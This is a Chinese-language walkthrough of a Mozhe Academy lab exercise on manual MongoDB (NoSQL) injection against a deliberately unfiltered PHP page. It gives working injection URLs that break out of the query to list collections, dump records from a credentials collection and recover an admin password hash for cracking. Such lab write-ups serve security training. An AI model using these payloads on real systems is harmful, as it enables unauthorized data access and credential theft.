NOSQL MongoDB 注入——本质上还是和sql注入是类似的
墨者学院 - SQL手工注入漏洞测试(MongoDB数据库)
SQL手工注入漏洞测试(MongoDB数据库)
背景介绍
安全工程师"墨者"最近在练习SQL手工注入漏洞,自己刚搭建好一个靶场环境Nginx+PHP+MongoDB,PHP代码对客户端提交的参数未做任何过滤。尽情的练习SQL手工注入吧。
附上源代码截图:
实训目标
1.掌握SQL注入原理;
2.了解手工注入的方法;
3.了解MongoDB的数据结构;
4.了解字符串的MD5加解密;
解题
手工进行SQL注入测试,获取管理密码登录。
# 查看是否有注入点
http://ip/new_list.php?id=1'
# 想办法闭合语句,查看所有集合
# db.getCollectionNames()返回的是数组,需要用tojson转换为字符串。并且mongodb函数区分大小写
http://ip/new_list.php?id=1'}); return ({title:tojson(db.getCollectionNames()),2:'1
类似语句:
select SCHEMA_NAME from information_schema.SCHEMATA
# 查看Authority_confidential集合的第一条数据
http://ip/new_list.php?id=1'}); return ({title:tojson(db.Authority_confidential.find()[0]),2:'1
类似语句:
select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='Authority_confidential'
# 查看Authority_confidential集合的第二条数据
http://ip/new_list.php?id=1'}); return ({title:tojson(db.Authority_confidential.find()[1]),2:'1
得到用户名密码,密码用md5解密
登陆,获得key